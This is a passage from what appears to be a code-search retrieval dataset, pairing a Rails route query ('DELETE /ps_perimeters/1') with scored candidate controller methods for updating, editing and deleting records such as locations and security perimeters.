end\n end", "title": "" }, { "docid": "7b39db782dbf9f4548b22b40c1192ec1", "score": "0.67328554", "text": "def update\n respond_to do |format|\n if @location.update_attributes(params[:location])\n flash[:notice] = 'Location was successfully updated.'\n format.html { redirect_to(@location) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d6e38973b014f73490766d70bb7e32ac", "score": "0.67276436", "text": "def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to @location, notice: \"#{@location.name} location was revised in the system\" }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "13061f1e19d3f05dba7ca82bb674e34b", "score": "0.6722818", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(location_params)\n flash[:notice] = 'Location was successfully updated.'\n format.html { redirect_to(@location) }\n format.xml { head :ok }\n else\n format.html { render action: \"edit\" }\n format.xml { render xml: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "af91e115af6f75959f8adf1b84d492ea", "score": "0.67184985", "text": "def update\n @render_action = \"edit\"\n @location = Location.find(params[:id])\n @location.update_attributes(params[:location])\n #@loc = Location.geocode(@location.full_address)\n if @location.save\n validate_location\n else\n render 'edit'\n end\n end", "title": "" }, { "docid": "759cd885396c96761481e7196079b480", "score": "0.66919315", "text": "def edit\n # No logic needed here. We're just rendering a template!\n end", "title": "" }, { "docid": "3c07300489bd9d1ccf360234f7a629f9", "score": "0.66748005", "text": "def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3c07300489bd9d1ccf360234f7a629f9", "score": "0.66748005", "text": "def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3c07300489bd9d1ccf360234f7a629f9", "score": "0.66748005", "text": "def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3c07300489bd9d1ccf360234f7a629f9", "score": "0.66748005", "text": "def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3c07300489bd9d1ccf360234f7a629f9", "score": "0.66748005", "text": "def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3c07300489bd9d1ccf360234f7a629f9", "score": "0.66748005", "text": "def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3c07300489bd9d1ccf360234f7a629f9", "score": "0.66748005", "text": "def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3c07300489bd9d1ccf360234f7a629f9", "score": "0.66748005", "text": "def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1f1d853b22750b27cee6dbddcd379bfc", "score": "0.6662123", "text": "def update\n @locations = Location.find(params[:id])\n\n respond_to do |format|\n if @locations.update_attributes(params[:location])\n flash[:notice] = 'Locations was successfully updated.'\n format.html { redirect_to(admin_locations_url(:page => params[:page])) }\n format.mobile { redirect_to(admin_locations_url(:page => params[:page])) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.mobile { render :action => \"edit\" }\n format.xml { render :xml => @locations.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "702c46ecb3c70a1d4e46046a25833a07", "score": "0.66440976", "text": "def edit\n end", "title": "" }, { "docid": "e14958b5f996c714f46eb06d8fefdf82", "score": "0.66438264", "text": "def update\n unless current_user.is_location_moderator?\n redirect_to denied_path\n return\n end\n\n @location_description = LocationDescription.find(params[:id])\n\n respond_to do |format|\n if @location_description.update_attributes(params[:location_description])\n format.html { redirect_to(@location_description, :notice => 'Location description was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location_description.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "646e383bc73d7bf98a27208cfdae6258", "score": "0.6639614", "text": "def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to @location, notice: t(:location_updated_ok) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d77b3272287f99bf4ae7209cb68e18f8", "score": "0.6636881", "text": "def update\n @location = Location.find(params[:id])\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to location_path(@location.id) }\n format.json { render :show, status: :ok, location: @location }\n else\n format.html { render :edit }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9e49f314429addb31bcb1d600936e774", "score": "0.6634449", "text": "def update\n @location = StockLocation.scopied.find_by_id(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { render :action => 'edit', :notice => I18n.t(\"views.notice.model_edit\", :model => Location.model_name.human) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8ab0d0a634df0c66f9bd6576829d12f1", "score": "0.6632543", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location, notice: \"#{t('activerecord.successful.messages.updated', model: @location.class.model_name.human)}\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "683d11ccf9ff6bc743090e83f36a2296", "score": "0.66284657", "text": "def update\n respond_to do |format|\n if @location.update(params[:location])\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "683d11ccf9ff6bc743090e83f36a2296", "score": "0.66284657", "text": "def update\n respond_to do |format|\n if @location.update(params[:location])\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e24077ba943800f06aa218d3f1a44f1a", "score": "0.66266024", "text": "def edit\r\n @address = Address.find(params[:id])\r\n end", "title": "" }, { "docid": "7765848df7744b4d647891835b1cd426", "score": "0.66222566", "text": "def edit\n\t @courses = Course.find(params[:id])\n course = Course.find(params[:id])\n\t\tcourse.name = params[:name]\n\t\tcourse.location = params[:location]\n\t\tcourse.description = params[:description]\n\t\tcourse.save\n\t\tredirect_to '/courses'\n\tend", "title": "" }, { "docid": "fb93c301d8ee99e718d576aec579b6ec", "score": "0.6618318", "text": "def edit\n Log.add_info(request, params.inspect)\n\n address_id = params[:id]\n\n begin\n @address = Address.find(address_id)\n rescue => evar\n @address = nil\n Log.add_error(request, evar)\n redirect_to(:controller => 'login', :action => 'logout')\n return\n end\n render(:layout => (!request.xhr?))\n end", "title": "" }, { "docid": "fab1565b7dbf5aeac6fa16efb5b1e4ca", "score": "0.66003704", "text": "def edit\n @job = JobPosition.find(params[:id])\n @form_id = 'edit-form'\n \n respond_to do |fmt|\n fmt.html { render partial: 'form' }\n fmt.json { render json: @job }\n end\n end", "title": "" }, { "docid": "203c7b5cef1c39d7183a63b4f87d115d", "score": "0.65990806", "text": "def edit\n pass_query_params\n @id = params[:species_list].to_s\n @query = find_obs_query_or_redirect\n end", "title": "" }, { "docid": "95fac4cff1d3806f3a8d712932576490", "score": "0.6596889", "text": "def update\n @location = Location.find(params[:id])\n Location.destroy_unused\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2c2b444eca6a05efbb6c833c510c467e", "score": "0.6588469", "text": "def edit\n @user = current_user\n initialize_general_profile(@user.location)\n @errors = []\n end", "title": "" }, { "docid": "87c3c3a0c9abd46a7ca42e23ea8932a7", "score": "0.65817887", "text": "def show\n redirect_to edit_agency_location_url(@location)\n end", "title": "" }, { "docid": "4fec07b571ca2dc2b588b80ddcca309b", "score": "0.65797925", "text": "def update\n @hidden_location = HiddenLocation.find(params[:id])\n\n respond_to do |format|\n if @hidden_location.update_attributes(params[:hidden_location])\n format.html { redirect_to @hidden_location, notice: 'Hidden location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hidden_location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5facde0cfabaf826cf1fb3d4f1b6525e", "score": "0.6575713", "text": "def update\n @location = Location.find(params[:id])\n #raise location_params.inspect\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { render :show, status: :ok, location: @location }\n else\n format.html { render :edit }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d9c8afdcfad8d01617b4330b41803492", "score": "0.6570866", "text": "def update\n @location = Location.find_using_slug!(params[:id])\n respond_to do |format|\n if @location.update_attributes(location_params)\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "70c8ea0bebb893d9c59be5c7133ecd17", "score": "0.65611535", "text": "def edit\n update\n end", "title": "" }, { "docid": "800ea3f2046d2dd439162d14c43cbbbd", "score": "0.6555515", "text": "def update\n @location_type = LocationType.find(params[:id])\n\n respond_to do |format|\n if @location_type.update_attributes(params[:location_type])\n format.html { redirect_to @location_type, notice: 'Location type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ab8470cdc6533d9728242803791908ed", "score": "0.65453136", "text": "def edit\n @info_form = InfoForm.find(params[:id])\n end", "title": "" }, { "docid": "fa1206d159e17913caa539fc4a067286", "score": "0.6543258", "text": "def update\n\t\t# @geolocation.update_attributes({title: 'Nuevo titulo'})\n\t\t@geolocation = Geolocation.find(params[:id])\n\t\tif @geolocation.update(geolocation_params)\n\t\t\tredirect_to @geolocation\n\t\telse\n\t\t\trender :edit\n\t\tend\n\tend", "title": "" }, { "docid": "a47b80f13727a6fd20c2587e1c43f632", "score": "0.6542846", "text": "def edit \n @clothing = Clothing.find(params[:id]) \n end", "title": "" }, { "docid": "a6ebb66acb71473afe8d40cf6d86a6cb", "score": "0.6536508", "text": "def edit\n thing = Thing.find(params[:id])\n render component: \"EditThingForm\", props: {thing: thing}\n end", "title": "" }, { "docid": "dfc70c2e74f935b4c4cf920b0100c4cc", "score": "0.6532818", "text": "def update\n @location = Location.find(params[:id])\n \n respond_to do |format|\n if params[:commit] == 'Cancel'\n format.html { redirect_to(edit_location_path(@location.root)) }\n format.xml { head :ok }\n elsif @location.update_attributes(params[:location])\n format.html { redirect_to(edit_location_path(@location.root), :notice => 'Location was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" } ]
51b74074b8b22f71dbf5e1fd27661ffd
DELETE /ps_perimeters/1 DELETE /ps_perimeters/1.json
[ { "docid": "f0120e1bd7f5f271c5d430478608f3e4", "score": "0.7059739", "text": "def destroy\n @ps_perimeter.destroy\n respond_to do |format|\n format.html { redirect_to ps_perimeters_url, notice: 'Physical Security Perimeter was successfully deleted!' }\n format.json { head :no_content }\n end\n end", "title": "" } ]
[ { "docid": "b5be55ee5b9710a0ba803063cd6f2ac6", "score": "0.69608736", "text": "def destroy\n @es_perimeter.destroy\n respond_to do |format|\n format.html { redirect_to es_perimeters_url, notice: 'Electronic Security Point was successfully deleted!' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "34c22f34791000b26926467b9b01c698", "score": "0.69318354", "text": "def destroy\n @periode = Periode.find(params[:id])\n @periode.destroy\n\n respond_to do |format|\n format.html { redirect_to periodes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "aef03d7941c0546fba3f07b72f0ec130", "score": "0.6905046", "text": "def destroy\n @periode_adhesion = PeriodeAdhesion.find(params[:id])\n @periode_adhesion.destroy\n\n respond_to do |format|\n format.html { redirect_to periode_adhesions_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "92a854929b5ff57a8cfbdf87843f526c", "score": "0.6897273", "text": "def destroy\n @perf = Perf.find(params[:id])\n @perf.destroy\n\n respond_to do |format|\n format.html { redirect_to perves_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1863036776f86c3860f125fb0d8dd82e", "score": "0.68845123", "text": "def destroy\n @pesticide = Pesticide.find(params[:id])\n @pesticide.destroy\n\n respond_to do |format|\n format.html { redirect_to pesticides_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "776f8d61b54fc476df765e5b768ca493", "score": "0.6875204", "text": "def destroy\n @per = Per.find(params[:id])\n @per.destroy\n\n respond_to do |format|\n format.html { redirect_to pers_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1def961ffb04a0c18820da9c4393888a", "score": "0.6873459", "text": "def destroy\n @perodization = Perodization.find(params[:id])\n @perodization.destroy\n\n respond_to do |format|\n format.html { redirect_to perodizations_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5a25abdc33b44b309635bdcfd4d6f1c2", "score": "0.6813158", "text": "def destroy\n @pest = Pest.find(params[:id])\n @pest.destroy\n\n respond_to do |format|\n format.html { redirect_to pests_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b002c14afa552c62c4bc58ce91708fc7", "score": "0.67958057", "text": "def destroy\n @p = P.find(params[:id])\n @p.destroy\n\n respond_to do |format|\n format.html { redirect_to ps_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "08940a7fc00e3fb084a0e78f5e913733", "score": "0.67909276", "text": "def destroy\n @permanence_time.destroy\n respond_to do |format|\n format.html { redirect_to permanence_times_url, notice: 'Permanence time was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6ece1209d398b43a72fa115f0ee29dbb", "score": "0.67831224", "text": "def destroy\n @punch_type = PunchType.find(params[:id])\n @punch_type.destroy\n\n respond_to do |format|\n format.html { redirect_to punch_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a7b8cf09df0fdc635b176cfae6bf09c3", "score": "0.6771462", "text": "def destroy\n @kapper = Kapper.find(params[:id])\n @kapper.destroy\n\n respond_to do |format|\n format.html { redirect_to kappers_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2e259d67e6f59d2bcf01a66d1ba50ff5", "score": "0.676771", "text": "def destroy\n @punch = Punch.find(params[:id])\n @punch.destroy\n\n respond_to do |format|\n format.html { redirect_to punches_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e8d3acffe2edc26223a19d590a39a8f2", "score": "0.67281044", "text": "def destroy\n @permise.destroy\n respond_to do |format|\n format.html { redirect_to permises_url, notice: 'Permise was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8dd45f74c7f891ec20fd0c3d295c0f71", "score": "0.6691386", "text": "def destroy\n @py.destroy\n respond_to do |format|\n format.html { redirect_to pies_url, notice: 'Pie was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "df83369a258048b380544e87fbb4cc40", "score": "0.6683692", "text": "def destroy\n @perfume.destroy\n respond_to do |format|\n format.html { redirect_to perfumes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1814ecfaa269051598e8687b5cd85efb", "score": "0.6672067", "text": "def destroy\n @punter = Punter.find(params[:id])\n @punter.destroy\n\n respond_to do |format|\n format.html { redirect_to punters_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e50c3873a22c8af4cb02e221369fba71", "score": "0.6658374", "text": "def destroy\n @recycling_point.destroy\n render json: @recycling_point, status: :ok\n end", "title": "" }, { "docid": "b5602b035d3511ebcfad360c830ee750", "score": "0.6650696", "text": "def destroy\n @patronage = Patronage.find(params[:id])\n @patronage.destroy\n\n respond_to do |format|\n format.html { redirect_to patronages_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a5e6481a1a391e2814a60759f005eba6", "score": "0.6648318", "text": "def destroy\n @pdoduct.destroy\n respond_to do |format|\n format.html { redirect_to pdoducts_url, notice: 'Pdoduct was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9a9331137debb0f888e6b7171195c227", "score": "0.66333026", "text": "def destroy\n @patronage = Patronage.find(params[:id])\n @patronage.destroy\n\n respond_to do |format|\n format.html { redirect_to patronages_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "f46ca21e1ec7e165874a0c631e71c960", "score": "0.66142976", "text": "def destroy\n @plytum.destroy\n respond_to do |format|\n format.html { redirect_to plyta_url, notice: 'Plytum was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9cb14f1d65d414aec1e90b4706219b74", "score": "0.6607626", "text": "def destroy\n @prepod = Prepod.find(params[:id])\n @prepod.destroy\n\n respond_to do |format|\n format.html { redirect_to prepods_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "986ab16147ee1216875d8a366cb920e0", "score": "0.65993786", "text": "def destroy\n @pst.destroy\n respond_to do |format|\n format.html { redirect_to psts_url, notice: 'Pst was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b445c184893647d3482f8fbc6a507a52", "score": "0.6591408", "text": "def delete(path, params = {})\n path += '.json'\n res = @connection.delete(path, @header)\n parse_response(res)\n end", "title": "" }, { "docid": "77d7333874cc5424cc33615457a80cb5", "score": "0.65896046", "text": "def destroy\n @peptide = Peptide.find(params[:id])\n @peptide.destroy\n\n respond_to do |format|\n format.html { redirect_to peptides_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "18ebeb2f5c82872276ab2c070bb65efc", "score": "0.6584018", "text": "def destroy\n @persocate.destroy\n respond_to do |format|\n format.html { redirect_to persocates_url, notice: 'Persocate was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fc881c9b162681cf0cca51fb4ced817e", "score": "0.6579594", "text": "def destroy\n @division_territorial_pai.destroy\n respond_to do |format|\n format.html { redirect_to division_territorial_pais_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a2424a0880f153dd292351dc07953e0d", "score": "0.6570982", "text": "def destroy\n @patio.destroy\n respond_to do |format|\n format.html { redirect_to unidade_patios_url(@unidade), notice: 'Patio was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0eddac169be4b973dfc843260c1a7564", "score": "0.6568879", "text": "def destroy\n @pensum = Pensum.find(params[:id])\n @pensum.destroy\n\n respond_to do |format|\n format.html { redirect_to pensums_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "98a10b5f0c26d8ff2efe49fce673c0e2", "score": "0.65679896", "text": "def destroy\n @porduct.destroy\n respond_to do |format|\n format.html { redirect_to porducts_url, notice: 'Porduct was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a389aa09a3f5959b8412bb6ef487e85b", "score": "0.65676075", "text": "def destroy\n @opt10059_one_one.destroy\n respond_to do |format|\n format.html { redirect_to opt10059_one_ones_url, notice: 'Opt10059 one one was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "df11d5e8a370955e0aab05108b9afc04", "score": "0.65669066", "text": "def destroy\n @p = P.find(params[:id])\n @p.destroy\n\n respond_to do |format|\n format.html { redirect_to ps_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "21c4406ed4abcb8e6e24b55b32caa0a3", "score": "0.65635353", "text": "def destroy\n @ppap = Ppap.find(params[:id])\n @ppap.destroy\n\n respond_to do |format|\n format.html { redirect_to ppaps_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "786daf0b754a9d1fb755d279b71ddc5a", "score": "0.6558846", "text": "def destroy\n @karyalay_pandit.destroy\n respond_to do |format|\n format.html { redirect_to karyalay_pandits_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "83824714428182d740d3c2e5a6691f7d", "score": "0.65550864", "text": "def destroy\n @policial = Policial.find(params[:id])\n @policial.destroy\n\n respond_to do |format|\n format.html { redirect_to policials_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "57c523140da2a4fc2d0a94b58eddcdb5", "score": "0.654735", "text": "def destroy\n @spt.destroy\n respond_to do |format|\n format.html { redirect_to spts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "773e5d611adeb09776f9c841e1b876cc", "score": "0.6534466", "text": "def delete_json(path, params = {}, headers = {})\n json_request(:delete, path, params, headers)\n end", "title": "" }, { "docid": "9e58efc2059d7bc658abb44a8ae00722", "score": "0.6533068", "text": "def destroy\n @plasmid.destroy\n respond_to do |format|\n format.html { redirect_to plasmids_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2f2f5cdcfea5e5f09d1cbe856d2f8971", "score": "0.6525858", "text": "def destroy\n @perdida.destroy\n respond_to do |format|\n format.html { redirect_to perdidas_url, notice: 'Perdida was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "35fd1b55cd24fd637648b2cb2d35bde1", "score": "0.6521466", "text": "def destroy\n @pto.destroy\n respond_to do |format|\n format.html { redirect_to ptos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d6f1737e7f52e75a7e1de45cef4a57aa", "score": "0.6516725", "text": "def destroy\n @pensum.destroy\n respond_to do |format|\n format.html { redirect_to pensums_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "01691f9a01164057ae8b5aae73b8e8c9", "score": "0.6508235", "text": "def destroy\n @prayer_time.destroy\n respond_to do |format|\n format.html { redirect_to prayer_times_url, notice: 'Prayer time was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f62b5e57a5fe47630a07fd848488b9c7", "score": "0.6504512", "text": "def destroy\n @period_time = PeriodTime.find(params[:id])\n @period_time.destroy\n\n respond_to do |format|\n format.html { redirect_to period_times_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4fb8460cf5980c8bc4e39261c041f89e", "score": "0.65033084", "text": "def destroy\n @portion.destroy\n respond_to do |format|\n format.html { redirect_to farm_panier_portions_url(@panier.farm, @panier), notice: 'Le légume a été retiré avec succès' }\n format.json { head :no_content }\n format.js {}\n end\n end", "title": "" }, { "docid": "c0df583cd80aa620d7fde0d7e6d33e5d", "score": "0.64980125", "text": "def destroy\n @pp.destroy\n respond_to do |format|\n format.html { redirect_to pps_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "13edc3c3caaf4d4443ffef3430c45bf7", "score": "0.6495739", "text": "def destroy\n @pain_point_update.destroy\n respond_to do |format|\n format.html { redirect_to pain_point_updates_url, notice: 'Pain point update was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b1a17c1ee1af05c79fe156622df44818", "score": "0.649571", "text": "def delete(path)\n begin\n response = client[path].delete :accept => 'application/json'\n rescue Exception => e\n puts e.inspect\n end\n end", "title": "" }, { "docid": "f581b7f9daa579cc93b2b835346c0d72", "score": "0.6494799", "text": "def destroy\n @pit_type.destroy\n respond_to do |format|\n format.html { redirect_to pit_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e4b7dd808df83c27bfb3eacb6adea6c2", "score": "0.6491405", "text": "def destroy\n @pfcate.destroy\n respond_to do |format|\n format.html { redirect_to pfcates_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1a8454d08ce12f61f2fdec17d6449d87", "score": "0.6490697", "text": "def destroy\n @pppams_indicator = PppamsIndicator.find(params[:id])\n @pppams_indicator.destroy\n\n respond_to do |format|\n format.html { redirect_to pppams_indicators_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "66c6fafbc9defdef76b27afb97264a20", "score": "0.64855844", "text": "def destroy\n @pilt = Pilt.find(params[:id])\n @pilt.destroy\n\n respond_to do |format|\n format.html { redirect_to pilts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5fd90733b758a2ab8c50040745257ad9", "score": "0.64832085", "text": "def destroy\n @punchy.destroy\n respond_to do |format|\n format.html { redirect_to punchies_url, notice: 'Punchy was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2f5b95a5c849b843b9f2ce851eeece4d", "score": "0.6482836", "text": "def destroy\n @peg = Peg.find(params[:id])\n @peg.destroy\n\n respond_to do |format|\n format.html { redirect_to pegs_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "00c07a742c3ae6b826299332020a846b", "score": "0.6481524", "text": "def destroy\n @portion.portion_details.destroy_all\n @portion.destroy\n respond_to do |format|\n format.html { redirect_to year_plans_url, notice: 'Portion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4bd2c1ff9f2883aa2ea3d1e3001c0f5c", "score": "0.6480616", "text": "def destroy\n @perfil = Perfil.find(params[:id])\n @perfil.destroy\n\n respond_to do |format|\n format.html { redirect_to perfis_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d11f11b7788df84e8a3f75681c9f5323", "score": "0.6478669", "text": "def destroy\n @throughput.destroy\n respond_to do |format|\n format.html { redirect_to throughputs_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a5216d18e3f171052f1cb68b74b96880", "score": "0.64756614", "text": "def destroy\n @pt.destroy\n respond_to do |format|\n format.html { redirect_to pts_url, notice: 'Pt was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a086844d8e7ff6f8f74b9428acd1f4cf", "score": "0.6471708", "text": "def destroy\n @panther.destroy\n respond_to do |format|\n format.html { redirect_to panthers_url, notice: 'Panther was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bf93a2719a672ed658f834a779729839", "score": "0.6469524", "text": "def destroy\n @punchcard = Punchcard.find(params[:id])\n @punchcard.destroy\n\n respond_to do |format|\n format.html { redirect_to punchcards_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b4b406c60500e3863d6da4888ae23750", "score": "0.64674723", "text": "def destroy\n @peinture.destroy\n respond_to do |format|\n format.html { redirect_to peintures_url, notice: 'Peinture was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7da2c9e1288a45d4615fea22c1bc38e4", "score": "0.6466498", "text": "def destroy\n @pint.destroy\n respond_to do |format|\n format.html { redirect_to pints_url, notice: 'Pint was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7da2c9e1288a45d4615fea22c1bc38e4", "score": "0.6466498", "text": "def destroy\n @pint.destroy\n respond_to do |format|\n format.html { redirect_to pints_url, notice: 'Pint was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3d4295e6f18c370aba4de84c58f82e0e", "score": "0.64662975", "text": "def destroy\n @postural_pose_option.destroy\n respond_to do |format|\n format.html { redirect_to postural_pose_options_url, notice: 'Postural pose option was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a02972c0932e4b8220beb7440c6dbc93", "score": "0.6464222", "text": "def destroy\n @patrimony.destroy\n respond_to do |format|\n format.html { redirect_to patrimonies_url, notice: 'Patrimony was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bd01164c6edd3314ec13ec01f586fae8", "score": "0.646412", "text": "def destroy\n @pelicula = Pelicula.find(params[:id])\n @pelicula.destroy\n render json: {message: 'Eliminated'}, status: :ok\n\n end", "title": "" }, { "docid": 